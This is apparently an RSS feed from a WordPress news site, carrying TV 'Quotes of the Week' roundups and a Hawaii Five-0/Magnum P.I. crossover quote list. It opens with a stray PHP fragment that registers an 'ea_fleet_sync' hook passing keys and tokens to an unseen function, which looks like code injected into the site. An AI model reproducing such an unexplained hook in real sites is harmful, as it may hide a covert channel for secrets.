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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ‘quotes’ – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 12 Jul 2020 16:12:45 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png ‘quotes’ – Brief News https://briefnews.eu 32 32 Quotes of the Week: I May Destroy You, Greenleaf, Yellowstone and More https://briefnews.eu/quotes-of-the-week-i-may-destroy-you-greenleaf-yellowstone-and-more/ https://briefnews.eu/quotes-of-the-week-i-may-destroy-you-greenleaf-yellowstone-and-more/#respond Sun, 12 Jul 2020 16:12:45 +0000 https://briefnews.eu/quotes-of-the-week-i-may-destroy-you-greenleaf-yellowstone-and-more/

A world-class computer hacker, a lovesick cowboy and a time-traveling agent of S.H.I.E.L.D. are among the TV characters popping up in our latest Quotes of the Week gallery. (And they’d make for an interesting dinner party, too.)

Once again, we’ve compiled the best small-screen dialogue from the past seven days, including zingers and one-liners — or, in this week’s case, one-worders — from broadcast, cable and streaming shows alike.

This time around, we’ve got a Legendary category that was too hot for one of its judges to handle, fleeting (but intoxicating) Internet fame for an I May Destroy You character, a Stargirl adventure that was memorably cut short and a Black Monday quip that didn’t pack quite the desired punch.

Also featured in this week’s roundup: double doses of Blindspot, Greenleaf and Marvel’s Agents of S.H.I.E.L.D.

Check out the attached gallery — or click here for direct access — then hit the comments and tell us if we missed any of your faves!

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]]> https://briefnews.eu/quotes-of-the-week-i-may-destroy-you-greenleaf-yellowstone-and-more/feed/ 0 Quotes of the Week: Stargirl, Blindspot, Penny Dreadful, S.H.I.E.L.D. and More https://briefnews.eu/quotes-of-the-week-stargirl-blindspot-penny-dreadful-s-h-i-e-l-d-and-more/ https://briefnews.eu/quotes-of-the-week-stargirl-blindspot-penny-dreadful-s-h-i-e-l-d-and-more/#respond Sun, 05 Jul 2020 14:31:22 +0000 https://briefnews.eu/quotes-of-the-week-stargirl-blindspot-penny-dreadful-s-h-i-e-l-d-and-more/

Much like a good Independence Day fireworks show, this week’s TV included dialogue that was colorful, explosive and downright jaw-dropping — and it’s all featured in our latest Quotes of the Week gallery.

This time around, we’ve got a Match Game contestant who’s probably regretting his chosen career path, a slightly misquoted Bible passage on Greenleaf, two Search Party friends who just want to be on the news and a Cannonball participant who embodies what the show is about — quite literally.

Also featured in this week’s roundup: double doses of Yellowstone and Marvel’s Agents of S.H.I.E.L.D., plus sound bites from Penny Dreadful: City of Angels (read finale recap), Black Monday, Blindspot and more.

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]]> https://briefnews.eu/quotes-of-the-week-stargirl-blindspot-penny-dreadful-s-h-i-e-l-d-and-more/feed/ 0 Quotes of the Week: Snowpiercer, Quiz, Last Week Tonight, Shadows and More https://briefnews.eu/quotes-of-the-week-snowpiercer-quiz-last-week-tonight-shadows-and-more/ https://briefnews.eu/quotes-of-the-week-snowpiercer-quiz-last-week-tonight-shadows-and-more/#respond Sun, 14 Jun 2020 22:12:52 +0000 https://briefnews.eu/quotes-of-the-week-snowpiercer-quiz-last-week-tonight-shadows-and-more/

Now that summer is upon us, your DVR is likely a little less full — but the shows on it are no less quotable!

As our latest Quotes of the Week compilation indicates, this notoriously quiet part of the TV year is all about quality over quantity, and this week’s newest episodes certainly brought some memorable moments.

This time around, our gallery of zingers and one-liners includes Stargirl‘s naive trust in the internet, Snowpiercer‘s unexpected solution to a gas problem, a sneak peek at CBS’ new primetime lineup via The Late Show and the week’s most nerve-wracking brunch date, courtesy of Insecure.

Also featured in this week’s roundup: double doses of Marvel’s Agents of S.H.I.E.L.D. and the What We Do in the Shadows finale (read recap), plus sound bites from Last Week Tonight, Blindspot, Match Game, Vanderpump Rules and more.

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]]> https://briefnews.eu/quotes-of-the-week-snowpiercer-quiz-last-week-tonight-shadows-and-more/feed/ 0 Quotes of the Week: Last Man Standing, Will & Grace, Drag Race, Flash and More https://briefnews.eu/quotes-of-the-week-last-man-standing-will-grace-drag-race-flash-and-more/ https://briefnews.eu/quotes-of-the-week-last-man-standing-will-grace-drag-race-flash-and-more/#respond Sun, 26 Apr 2020 14:42:50 +0000 https://briefnews.eu/quotes-of-the-week-last-man-standing-will-grace-drag-race-flash-and-more/

We’ve been spending a lot of time on our couches these days, but at least there’s still plenty of television to keep us company.

As we head into another week spent indoors, we’re looking back on the most memorable small-screen dialogue from the past seven days, which made us laugh out loud, shed a few tears and/or shake our heads in disbelief. (If you can decipher Mel’s feelings about Brandon on The Bachelor: Listen to Your Heart, we applaud you.)

This time around, our Quotes of the Week gallery includes a Drag Race contestant’s appreciation for a Jurassic Park star, a horrifying (but hilarious) discovery on What We Do in the Shadows, a dig at Deeks’ personal grooming choices on NCIS: Los Angeles and Legends of Tomorrow‘s nod to a fellow CW series.

Also featured in this week’s roundup: sound bites from Will & Grace‘s series finale (read recap), Zoey’s Extraordinary Playlist, Killing Eve, Last Man Standing, Brockmire and more.

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We’ve lost track of how many consecutive days we’ve been indoors — but at least there’s plenty of good TV to keep us company.

With another week of fresh episodes behind us, we’ve once again compiled the best zingers and one-liners from the past seven days, which you can view in our Quotes of the Week gallery at right.

This time around, we’ve got Garrett’s first-ever experience with a Celine Dion song on Superstore, an unexpected announcement from Tiger King‘s Joe Exotic (which narrows it down to… most of what Joe Exotic says on Tiger King), life-changing news for a Prodigal Son cop and One Day at a Time‘s premiere-opening jab at its former home (read post mortem).

Also featured in this week’s roundup: sound bites from Batwoman, The Good Doctor, Brooklyn Nine-Nine, MacGyver, Zoey’s Extraordinary Playlist and more series.

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Need a few chuckles as your self-quarantine rolls on? Look no further than our latest Quotes of the Week compilation.

Despite the fact that more than 100 series have halted production amid coronavirus concerns, there’s currently still enough fresh fare to fill a gallery of zingers and one-liners. (And if you’re already caught up on this week’s newest episodes, there’s plenty of (free!) vintage TV available for your extended time indoors.)

This time around, we’ve got a shout-out to a beloved cartoon dog on Zoey’s Extraordinary Playlist, a strangely timed observation about a Station 19 firefighter’s height, This Is Us‘ appreciation for a certain Watchmen actor and a new Vanderpump Rules motto that’s just scandalous enough to work.

Also featured in this week’s roundup: double doses of The Conners, Legends of Tomorrow and Grey’s Anatomy, plus sound bites from The Walking Dead, Prodigal Son, The Sinner, Last Week Tonight and more shows.

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February is officially behind us — but thanks to Leap Day, we got an extra day of delightful TV dialogue to close out the month.

As is our Sunday tradition, we’ve compiled the best sound bites from the last seven days in our Quotes of the Week gallery, which recognizes comedies, dramas and unscripted series.

This time around, we’ve got Bob’s Burgers‘ shoutout to a tearjerking 1980s flick, a different kind of coping mechanism for Zoey’s Extraordinary Playlist boss Joan, a lesson in bathroom etiquette on Curb Your Enthusiasm and some Walking Dead foreplay that made us feel… a little uncomfortable, honestly.

Also featured in this week’s roundup: double doses of The Voice and Batwoman, plus quotable moments from Schitt’s Creek, Supergirl, The Rookie, Good Girls, NCIS: Los Angeles and more.

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CBS’ two island dramas officially and fully merged this Friday, as unfinished business involving Wo Fat’s widow found (most of) the Hawaii Five-0 team working with Magnum P.I.‘s Thomas, Juliet, Rick and T.C.

As the two casts converged in the hunt for a valuable NOC list of CIA agents, much banter was to be had between the assorted personalities. Here — and especially since TVLine’s Quotes of the Week column is still on holiday — are the best sound bites from at least the first half of the two-hour crossover, during which the most major characters got to mix and mingle:

“What exactly are you investigating?”

“I’m so sorry but I’m not sure that we’re going to be inclined to indulge this rather brisk line of questioning.”

“Oh, you’re very English.”

Quinn (played by Katrina Law) learns what Higgins (Perdita Weeks) is all about

“Oh, let me guess — you have a rendition room in your basement where you’ll leverage us until we cooperate.”

“Hold on, I like this woman.”

Has McGarrett (Alex O’Loughlin) found his perfect match in Higgins?

H50 Magnum Crossover“These fancy computers can’t compete with strong intuition.”

“He’s just trying to impress you. Every opportunity he gets, he asks me to reach for my laptop in search of a break.”

Magnum (Jay Hernandez) shrugs off Five-0’s fancy toys — but Higgins knows better 

“There a problem?”

“Other than the fact that I’m in a passenger in my own car, no.”

“I like to drive, it’s kind my thing.”

“Well, this car is kind of my thing — being that it… belongs to me.”

“I like to drive, that’s all.”

“I’m sure your partner loves that.”

“He’s fine with it.”

“I have a sneaking suspicion he’s not.”

Magnum hasn’t even met McGarrett’s MIA partner, and he knows him already

“A guy with your skill sets should consider law enforcement.”

“I’m more of an improvise-as-you-go, not-necessarily-by-the-book rule follower.”

“[Steve shrugs] It’s never stopped me.”

McGarrett fails to recruit Magnum 

“Gimme the envelope know, or I shoot your chatty friend!”

“Him? He’s not my friend. I barely know this guy, I met this guy today.”

A goon puts the squeeze on Steve, by threatening Magnum.

Afterwards, Magnum has to ask:

“What kind of SEAL are you? You were happy to let that go shoot me. So much for ‘No Man Left Behind.’”

“So, you got to drive a Ferrari! How was it?”

“Dude, we just got held up at gunpoint, that’s your first question for me? [Whispers] It was amazing.”

“Tell me about it later.”

“I will.”

But will Steve mention to Lou the $ 1,600 in shot-out tires?

Of course, sometimes a sheepish eye roll is worth 1,000 words, after Higgins catches Tani flirting with Junior:

“Am I the only one here that doesn’t speak Chinese?!”

Magnum feels left out after Quinn, Higgins and McGarrett show off their fluency

“Spill the tea!”

“‘Spill the tea’? Is that because I’m British…?”

Tani (Meaghan Rath) pumps Higgins for cloak-and-dagger gossip. At episode’s end, though, Higgins delivered the most memorable bit of dialogue, telling her new gal pal:

“If you find someone at work who brings a bit of light into your life, someone who makes you happy, you should pursue it.”

What were your favorite exchanges among the H50/Magnum P.I. characters? 

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Christmas hasn’t arrived just yet, but we’ve already received the gift that keeps on giving: television!

Though many broadcast series are currently on hiatus until 2020, the past seven days of TV still served up enough zingers and one-liners to fill another Quotes of the Week gallery. (And if you missed the 2019 dialogue that we deemed the Quotes of the Year, you can peruse that gallery right here.)

This time around, we’ve got a fumbled sports metaphor on All Rise, The Late Show’s takedown of a recent Hallmark Channel controversy, a naughty Family Feud answer from a Star Wars cast member and a recent encounter with Santa Claus on Family Guy that can only be described as disturbing. (As if you’d expect anything less from Family Guy.)

Also featured in this week’s roundup: sound bites from Live in Front of a Studio Audience, The Morning Show, The Voice, Watchmen’s season finale and more.

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The calendar might say that December has arrived (as does the gloomy weather), but we have one last bit of November business to address.

Our latest Quotes of the Week compilation looks back on the past seven days of television (which still delivered top-notch dialogue, even with many shows on winter hiatus). So, what made our list this time?

In the attached gallery, you’ll find an epic clapback from Arrow‘s Laurel, some brutal honesty for Prodigal Son‘s title character, The Good Doctor‘s shocking announcement to a colleague and what we think is a compliment for The Walking Dead‘s Michonne.

Also featured in this week’s roundup: double doses of Titans‘ season finale, Late Night With Seth Meyers and The Neighborhood, plus sound bites from The Mandalorian, S.W.A.T. and more.

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